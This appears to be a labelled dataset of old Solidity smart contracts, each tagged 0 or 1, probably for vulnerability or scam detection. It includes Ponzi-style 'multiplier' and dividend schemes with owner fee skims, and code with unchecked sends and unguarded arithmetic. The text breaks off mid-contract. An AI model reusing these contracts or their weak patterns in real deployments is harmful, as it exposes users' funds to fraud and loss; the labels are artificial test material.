pragma solidity ^0.4.25; contract Multipliers { address constant private FATHER = 0x7CDfA222f37f5C4CCe49b3bBFC415E8C911D1cD8; address constant private TECH = 0xDb058D036768Cfa9a94963f99161e3c94aD6f5dA; address constant private PROMO = 0xdA149b17C154e964456553C749B7B4998c152c9E; uint constant public FATHER_PERCENT = 1; uint constant public TECH_PERCENT = 2; uint constant public PROMO_PERCENT = 2; uint constant public PRIZE_PERCENT = 2; uint constant public MAX_INVESTMENT = 10 ether; uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.05 ether; uint constant public MAX_IDLE_TIME = 20 minutes; uint8[] MULTIPLIERS = [ 111, 113, 117, 121, 125, 130, 135, 141 ]; struct Deposit { address depositor; uint128 deposit; uint128 expect; } struct DepositCount { int128 stage; uint128 count; } struct LastDepositInfo { uint128 index; uint128 time; } Deposit[] private queue; uint public currentReceiverIndex = 0; uint public currentQueueSize = 0; LastDepositInfo public lastDepositInfo; uint public prizeAmount = 0; int public stage = 0; mapping(address => DepositCount) public depositsMade; constructor(){ queue.push(Deposit(address(0x1),0,1)); } function () public payable { require(msg.sender == FATHER || tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!"); if(msg.value > 0 && msg.sender != FATHER){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value <= MAX_INVESTMENT, "The investment is too much!"); checkAndUpdateStage(); require(getStageStartTime(stage+1) >= now + MAX_IDLE_TIME); addDeposit(msg.sender, msg.value); pay(); }else if(msg.value == 0){ withdrawPrize(); } } function pay() private { uint balance = address(this).balance; uint128 money = 0; if(balance > prizeAmount) money = uint128(balance - prizeAmount); for(uint i=currentReceiverIndex; i<currentQueueSize; i++){ Deposit storage dep = queue[i]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete queue[i]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex = i; } function addDeposit(address depositor, uint value) private { DepositCount storage c = depositsMade[depositor]; if(c.stage != stage){ c.stage = int128(stage); c.count = 0; } if(value >= MIN_INVESTMENT_FOR_PRIZE) lastDepositInfo = LastDepositInfo(uint128(currentQueueSize), uint128(now)); uint multiplier = getDepositorMultiplier(depositor); push(depositor, value, value*multiplier/100); c.count++; prizeAmount += value*(FATHER_PERCENT + PRIZE_PERCENT)/100; uint support = value*TECH_PERCENT/100; TECH.send(support); uint adv = value*PROMO_PERCENT/100; PROMO.send(adv); } function checkAndUpdateStage() private{ int _stage = getCurrentStageByTime(); require(_stage >= stage, "We should only go forward in time"); if(_stage != stage){ proceedToNewStage(_stage); } } function proceedToNewStage(int _stage) private { stage = _stage; currentQueueSize = 0; currentReceiverIndex = 0; delete lastDepositInfo; } function withdrawPrize() private { require(lastDepositInfo.time > 0 && lastDepositInfo.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet"); require(currentReceiverIndex <= lastDepositInfo.index, "The last depositor should still be in queue"); uint balance = address(this).balance; if(prizeAmount > balance) prizeAmount = balance; uint donation = prizeAmount*FATHER_PERCENT/(FATHER_PERCENT + PRIZE_PERCENT); if(donation > 10 ether) donation = 10 ether; require(gasleft() >= 300000, "We need gas for the father contract"); FATHER.call.value(donation).gas(250000)(); uint prize = prizeAmount - donation; queue[lastDepositInfo.index].depositor.send(prize); prizeAmount = 0; proceedToNewStage(stage + 1); } function push(address depositor, uint deposit, uint expect) private { Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect)); assert(currentQueueSize <= queue.length); if(queue.length == currentQueueSize) queue.push(dep); else queue[currentQueueSize] = dep; currentQueueSize++; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return currentQueueSize - currentReceiverIndex; } function getDepositorMultiplier(address depositor) public view returns (uint) { DepositCount storage c = depositsMade[depositor]; uint count = 0; if(c.stage == getCurrentStageByTime()) count = c.count; if(count < MULTIPLIERS.length) return MULTIPLIERS[count]; return MULTIPLIERS[MULTIPLIERS.length - 1]; } function getCurrentStageByTime() public view returns (int) { return int(now - 17 hours) / 1 days - 17844; } function getStageStartTime(int _stage) public pure returns (uint) { return 17 hours + uint(_stage + 17844)*1 days; } function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){ if(currentReceiverIndex <= lastDepositInfo.index && lastDepositInfo.index < currentQueueSize){ Deposit storage d = queue[lastDepositInfo.index]; addr = d.depositor; timeLeft = int(lastDepositInfo.time + MAX_IDLE_TIME) - int(now); } } }
0
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract BeerCash { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function BeerCash( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
pragma solidity 0.4.25; library Math { function min(uint a, uint b) internal pure returns(uint) { if (a > b) { return b; } return a; } } library Zero { function requireNotZero(address addr) internal pure { require(addr != address(0), "require not zero address"); } function requireNotZero(uint val) internal pure { require(val != 0, "require not zero value"); } function notZero(address addr) internal pure returns(bool) { return !(addr == address(0)); } function isZero(address addr) internal pure returns(bool) { return addr == address(0); } function isZero(uint a) internal pure returns(bool) { return a == 0; } function notZero(uint a) internal pure returns(bool) { return a != 0; } } library Percent { struct percent { uint num; uint den; } function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function div(percent storage p, uint a) internal view returns (uint) { return a/p.num*p.den; } function sub(percent storage p, uint a) internal view returns (uint) { uint b = mul(p, a); if (b >= a) { return 0; } return a - b; } function add(percent storage p, uint a) internal view returns (uint) { return a + mul(p, a); } function toMemory(percent storage p) internal view returns (Percent.percent memory) { return Percent.percent(p.num, p.den); } function mmul(percent memory p, uint a) internal pure returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function mdiv(percent memory p, uint a) internal pure returns (uint) { return a/p.num*p.den; } function msub(percent memory p, uint a) internal pure returns (uint) { uint b = mmul(p, a); if (b >= a) { return 0; } return a - b; } function madd(percent memory p, uint a) internal pure returns (uint) { return a + mmul(p, a); } } library Address { function toAddress(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function isNotContract(address addr) internal view returns(bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Accessibility { address private owner; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } constructor() public { owner = msg.sender; } function disown() internal { delete owner; } } contract Rev1Storage { function investorShortInfo(address addr) public view returns(uint value, uint refBonus); } contract Rev2Storage { function investorInfo(address addr) public view returns(uint investment, uint paymentTime); } library PrivateEntrance { using PrivateEntrance for privateEntrance; using Math for uint; struct privateEntrance { Rev1Storage rev1Storage; Rev2Storage rev2Storage; uint investorMaxInvestment; uint endTimestamp; mapping(address=>bool) hasAccess; } function isActive(privateEntrance storage pe) internal view returns(bool) { return pe.endTimestamp > now; } function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) { if (!pe.hasAccess[investorAddr]) { return 0; } (uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr); if (maxInvestment == 0) { return 0; } maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment); (uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr); if (currInvestment >= maxInvestment) { return 0; } return maxInvestment-currInvestment; } function provideAccessFor(privateEntrance storage pe, address[] addrs) internal { for (uint16 i; i < addrs.length; i++) { pe.hasAccess[addrs[i]] = true; } } } contract InvestorsStorage is Accessibility { struct Investor { uint investment; uint paymentTime; } uint public size; mapping (address => Investor) private investors; function isInvestor(address addr) public view returns (bool) { return investors[addr].investment > 0; } function investorInfo(address addr) public view returns(uint investment, uint paymentTime) { investment = investors[addr].investment; paymentTime = investors[addr].paymentTime; } function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) { Investor storage inv = investors[addr]; if (inv.investment != 0 || investment == 0) { return false; } inv.investment = investment; inv.paymentTime = paymentTime; size++; return true; } function addInvestment(address addr, uint investment) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].investment += investment; return true; } function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].paymentTime = paymentTime; return true; } } library RapidGrowthProtection { using RapidGrowthProtection for rapidGrowthProtection; struct rapidGrowthProtection { uint startTimestamp; uint maxDailyTotalInvestment; uint8 activityDays; mapping(uint8 => uint) dailyTotalInvestment; } function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return 0; } if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) { return 0; } return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)]; } function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) { uint day = rgp.currDay(); return day != 0 && day <= rgp.activityDays; } function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return false; } if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) { return false; } rgp.dailyTotalInvestment[uint8(day)] += investment; return true; } function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal { rgp.startTimestamp = timestamp; for (uint8 i = 1; i <= rgp.activityDays; i++) { if (rgp.dailyTotalInvestment[i] != 0) { delete rgp.dailyTotalInvestment[i]; } } } function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) { if (rgp.startTimestamp > now) { return 0; } day = (now - rgp.startTimestamp) / 24 hours + 1; } } contract Ether3 is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; using Address for *; using Zero for *; RapidGrowthProtection.rapidGrowthProtection private m_rgp; PrivateEntrance.privateEntrance private m_privEnter; mapping(address => bool) private m_referrals; InvestorsStorage private m_investors; uint public constant minInvesment = 10 finney; uint public constant maxBalance = 300e5 ether; address public advertisingAddress; address public adminsAddress; uint public investmentsNumber; uint public waveStartup; Percent.percent private m_1_percent = Percent.percent(1, 100); Percent.percent private m_2_percent = Percent.percent(2, 100); Percent.percent private m_3_percent = Percent.percent(3, 100); Percent.percent private m_adminsPercent = Percent.percent(5, 100); Percent.percent private m_advertisingPercent = Percent.percent(7, 100); event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp); event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess); event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus); event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays); event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day); event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogAutomaticReinvest(address indexed addr, uint when, uint investment); event LogPayDividends(address indexed addr, uint when, uint dividends); event LogNewInvestor(address indexed addr, uint when); event LogBalanceChanged(uint when, uint balance); event LogNextWave(uint when); event LogDisown(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notFromContract() { require(msg.sender.isNotContract(), "only externally accounts"); _; } constructor() public { adminsAddress = msg.sender; advertisingAddress = msg.sender; nextWave(); } function() public payable { if (msg.value.isZero()) { getMyDividends(); return; } doInvest(msg.data.toAddress()); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } function init(address rev1StorageAddr, uint timestamp) public onlyOwner { m_rgp.startTimestamp = timestamp + 1; m_rgp.maxDailyTotalInvestment = 500 ether; m_rgp.activityDays = 21; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.investorMaxInvestment = 50 ether; m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, address(m_privEnter.rev1Storage), address(m_privEnter.rev2Storage), m_privEnter.investorMaxInvestment, m_privEnter.endTimestamp ); } function setAdvertisingAddress(address addr) public onlyOwner { addr.requireNotZero(); advertisingAddress = addr; } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner { m_privEnter.provideAccessFor(addrs); } function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) { investment = m_rgp.maxInvestmentAtNow(); } function investorsNumber() public view returns(uint) { return m_investors.size(); } function balanceETH() public view returns(uint) { return address(this).balance; } function percent1() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_1_percent.num, m_1_percent.den); } function percent2() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_2_percent.num, m_2_percent.den); } function percent3() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_3_percent.num, m_3_percent.den); } function advertisingPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) { (investment, paymentTime) = m_investors.investorInfo(investorAddr); isReferral = m_referrals[investorAddr]; } function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) { dividends = calcDividends(investorAddr); } function dailyPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = dailyPercent(); (numerator, denominator) = (p.num, p.den); } function refBonusPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = refBonusPercent(); (numerator, denominator) = (p.num, p.den); } function getMyDividends() public notFromContract balanceChanged { uint dividends = calcDividends(msg.sender); require (dividends.notZero(), "cannot to pay zero dividends"); assert(m_investors.setPaymentTime(msg.sender, now)); if (address(this).balance <= dividends) { nextWave(); dividends = address(this).balance; } msg.sender.transfer(dividends); emit LogPayDividends(msg.sender, now, dividends); } function doInvest(address referrerAddr) public payable notFromContract balanceChanged { uint investment = msg.value; uint receivedEther = msg.value; require(investment >= minInvesment, "investment must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); if (m_rgp.isActive()) { uint rpgMaxInvest = m_rgp.maxInvestmentAtNow(); rpgMaxInvest.requireNotZero(); investment = Math.min(investment, rpgMaxInvest); assert(m_rgp.saveInvestment(investment)); emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay()); } else if (m_privEnter.isActive()) { uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender); peMaxInvest.requireNotZero(); investment = Math.min(investment, peMaxInvest); } if (receivedEther > investment) { uint excess = receivedEther - investment; msg.sender.transfer(excess); receivedEther = investment; emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess); } advertisingAddress.send(m_advertisingPercent.mul(receivedEther)); adminsAddress.send(m_adminsPercent.mul(receivedEther)); bool senderIsInvestor = m_investors.isInvestor(msg.sender); if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] && referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) { m_referrals[msg.sender] = true; uint refBonus = refBonusPercent().mmul(investment); assert(m_investors.addInvestment(referrerAddr, refBonus)); investment += refBonus; emit LogNewReferral(msg.sender, referrerAddr, now, refBonus); } uint dividends = calcDividends(msg.sender); if (senderIsInvestor && dividends.notZero()) { investment += dividends; emit LogAutomaticReinvest(msg.sender, now, dividends); } if (senderIsInvestor) { assert(m_investors.addInvestment(msg.sender, investment)); assert(m_investors.setPaymentTime(msg.sender, now)); } else { assert(m_investors.newInvestor(msg.sender, investment, now)); emit LogNewInvestor(msg.sender, now); } investmentsNumber++; emit LogNewInvesment(msg.sender, now, investment, receivedEther); } function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) { (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr); return InvestorsStorage.Investor(investment, paymentTime); } function calcDividends(address investorAddr) internal view returns(uint dividends) { InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr); if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) { return 0; } Percent.percent memory p = dailyPercent(); dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144; } function dailyPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; if (balance < 1000 ether) { p = m_3_percent.toMemory(); } else if ( 1000 ether <= balance && balance <= 30000 ether) { p = m_2_percent.toMemory(); } else { p = m_1_percent.toMemory(); } } function refBonusPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; if (balance < 10000 ether) { p = m_3_percent.toMemory(); } else if ( 10000 ether <= balance && balance <= 100000 ether) { p = m_2_percent.toMemory(); } else { p = m_1_percent.toMemory(); } } function nextWave() private { m_investors = new InvestorsStorage(); investmentsNumber = 0; waveStartup = now; m_rgp.startAt(now); emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays); emit LogNextWave(now); } }
0
pragma solidity ^0.4.24; contract RatForward{ function deposit() public payable {} function() public payable {} function get() public { uint balance = address(this).balance; address(0xF4c6BB681800Ffb96Bc046F56af9f06Ab5774156).transfer(balance / 3); address(0xD79D762727A6eeb9c47Cfb6FB451C858dfBF8405).transfer(balance / 3); address(0x83c0Efc6d8B16D87BFe1335AB6BcAb3Ed3960285).transfer(address(this).balance); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30067200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x9F603eD037d33f6ba72Ea32acF38F9D1BAdDF0e8; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.25; contract PantheonEcoSystemFund { struct UserRecord { address referrer; uint tokens; uint gained_funds; uint ref_funds; int funds_correction; } using SafeMath for uint; using SafeMathInt for int; using Fee for Fee.fee; using ToAddress for bytes; string constant public name = "Pantheon Ecosystem Fund"; string constant public symbol = "PANF"; uint8 constant public decimals = 18; Fee.fee private fee_purchase = Fee.fee(1, 10); Fee.fee private fee_selling = Fee.fee(1, 20); Fee.fee private fee_transfer = Fee.fee(1, 100); Fee.fee private fee_referral = Fee.fee(33, 100); uint constant private minimal_stake = 10e18; uint constant private precision_factor = 1e18; uint private price = 1e29; uint constant private price_offset = 1e28; uint private total_supply = 0; uint private shared_profit = 0; mapping(address => UserRecord) private user_data; modifier onlyValidTokenAmount(uint tokens) { require(tokens > 0, "Amount of tokens must be greater than zero"); require(tokens <= user_data[msg.sender].tokens, "You have not enough tokens"); _; } function () public payable { buy(msg.data.toAddr()); } function buy(address referrer) public payable { (uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value); require(fee_funds != 0, "Incoming funds is too small"); UserRecord storage user = user_data[msg.sender]; if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) { user.referrer = referrer; } if (user.referrer != 0x0) { fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value); require(fee_funds != 0, "Incoming funds is too small"); } (uint tokens, uint _price) = fundsToTokens(taxed_funds); require(tokens != 0, "Incoming funds is too small"); price = _price; mintTokens(msg.sender, tokens); shared_profit = shared_profit.add(fee_funds); emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now); } function sell(uint tokens) public onlyValidTokenAmount(tokens) { (uint funds, uint _price) = tokensToFunds(tokens); require(funds != 0, "Insufficient tokens to do that"); price = _price; (uint fee_funds, uint taxed_funds) = fee_selling.split(funds); require(fee_funds != 0, "Insufficient tokens to do that"); burnTokens(msg.sender, tokens); UserRecord storage user = user_data[msg.sender]; user.gained_funds = user.gained_funds.add(taxed_funds); shared_profit = shared_profit.add(fee_funds); emit Selling(msg.sender, tokens, funds, price / precision_factor, now); } function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) { require(to_addr != msg.sender, "You cannot transfer tokens to yourself"); (uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens); require(fee_tokens != 0, "Insufficient tokens to do that"); (uint funds, uint _price) = tokensToFunds(fee_tokens); require(funds != 0, "Insufficient tokens to do that"); price = _price; burnTokens(msg.sender, tokens); mintTokens(to_addr, taxed_tokens); shared_profit = shared_profit.add(funds); emit Transfer(msg.sender, to_addr, tokens); return true; } function reinvest() public { uint funds = dividendsOf(msg.sender); require(funds > 0, "You have no dividends"); UserRecord storage user = user_data[msg.sender]; user.funds_correction = user.funds_correction.add(int(funds)); (uint fee_funds, uint taxed_funds) = fee_purchase.split(funds); require(fee_funds != 0, "Insufficient dividends to do that"); if (user.referrer != 0x0) { fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, funds); require(fee_funds != 0, "Insufficient dividends to do that"); } (uint tokens, uint _price) = fundsToTokens(taxed_funds); require(tokens != 0, "Insufficient dividends to do that"); price = _price; mintTokens(msg.sender, tokens); shared_profit = shared_profit.add(fee_funds); emit Reinvestment(msg.sender, funds, tokens, price / precision_factor, now); } function withdraw() public { uint funds = dividendsOf(msg.sender); require(funds > 0, "You have no dividends"); UserRecord storage user = user_data[msg.sender]; user.funds_correction = user.funds_correction.add(int(funds)); msg.sender.transfer(funds); emit Withdrawal(msg.sender, funds, now); } function exit() public { uint tokens = user_data[msg.sender].tokens; if (tokens > 0) { sell(tokens); } withdraw(); } function donate() public payable { shared_profit = shared_profit.add(msg.value); emit Donation(msg.sender, msg.value, now); } function totalSupply() public view returns (uint) { return total_supply; } function balanceOf(address addr) public view returns (uint) { return user_data[addr].tokens; } function dividendsOf(address addr) public view returns (uint) { UserRecord memory user = user_data[addr]; int d = int(user.gained_funds.add(user.ref_funds)); require(d >= 0); if (total_supply > 0) { d = d.add(int(shared_profit.mul(user.tokens) / total_supply)); } if (user.funds_correction > 0) { d = d.sub(user.funds_correction); } else if (user.funds_correction < 0) { d = d.add(-user.funds_correction); } require(d >= 0); return uint(d); } function expectedTokens(uint funds, bool apply_fee) public view returns (uint) { if (funds == 0) { return 0; } if (apply_fee) { (,uint _funds) = fee_purchase.split(funds); funds = _funds; } (uint tokens,) = fundsToTokens(funds); return tokens; } function expectedFunds(uint tokens, bool apply_fee) public view returns (uint) { if (tokens == 0 || total_supply == 0) { return 0; } else if (tokens > total_supply) { tokens = total_supply; } (uint funds,) = tokensToFunds(tokens); if (apply_fee) { (,uint _funds) = fee_selling.split(funds); funds = _funds; } return funds; } function buyPrice() public view returns (uint) { return price / precision_factor; } function sellPrice() public view returns (uint) { return price.sub(price_offset) / precision_factor; } function mintTokens(address addr, uint tokens) internal { UserRecord storage user = user_data[addr]; bool not_first_minting = total_supply > 0; if (not_first_minting) { shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply; } total_supply = total_supply.add(tokens); user.tokens = user.tokens.add(tokens); if (not_first_minting) { user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply)); } } function burnTokens(address addr, uint tokens) internal { UserRecord storage user = user_data[addr]; uint dividends_from_tokens = 0; if (total_supply == tokens) { dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply; } shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply; total_supply = total_supply.sub(tokens); user.tokens = user.tokens.sub(tokens); if (total_supply > 0) { user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply)); } else if (dividends_from_tokens != 0) { user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens)); } } function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) { UserRecord storage referrer = user_data[referrer_addr]; if (referrer.tokens >= minimal_stake) { (uint reward_funds, uint taxed_funds) = fee_referral.split(funds); referrer.ref_funds = referrer.ref_funds.add(reward_funds); emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now); return taxed_funds; } else { return funds; } } function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) { uint b = price.mul(2).sub(price_offset); uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor)); uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2); uint anp1 = price.add(price_offset.mul(n) / precision_factor); return (n, anp1); } function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) { uint sell_price = price.sub(price_offset); uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor); uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2); return (sn / precision_factor, an); } event Purchase(address indexed addr, uint funds, uint tokens, uint price, uint time); event Selling(address indexed addr, uint tokens, uint funds, uint price, uint time); event Reinvestment(address indexed addr, uint funds, uint tokens, uint price, uint time); event Withdrawal(address indexed addr, uint funds, uint time); event Donation(address indexed addr, uint funds, uint time); event ReferralReward(address indexed referral_addr, address indexed referrer_addr, uint funds, uint reward_funds, uint time); event Transfer(address indexed from_addr, address indexed to_addr, uint tokens); } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul failed"); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a, "sub failed"); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add failed"); return c; } function sqrt(uint x) internal pure returns (uint y) { uint z = add(x, 1) / 2; y = x; while (z < y) { y = z; z = add(x / z, z) / 2; } } } library SafeMathInt { function sub(int a, int b) internal pure returns (int) { int c = a - b; require(c <= a, "sub failed"); return c; } function add(int a, int b) internal pure returns (int) { int 